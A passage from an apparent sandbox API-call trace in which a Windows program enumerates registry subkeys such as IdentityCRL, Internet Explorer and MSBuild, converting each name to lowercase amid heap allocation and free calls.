Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x18b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x18b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x18b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0227.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x18b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x18c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x18b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x18b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.036] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x18b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0227.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x18b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x18b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x18c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x18b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x18c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.037] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x18b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x18c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0227.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x18b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0227.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0227.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.038] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x18b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0227.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0227.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x18b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x18c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0227.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x18b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0227.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x18b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0227.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x18c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x18b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x18c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x18b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x18c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x18b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x18c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x18b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x18b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x18c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0227.045] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x18b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0227.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x18b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x18b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x18b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x18b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x18c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x18b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0227.046] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x18b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0227.047] RegEnumKeyW (in: hKey=0x24, 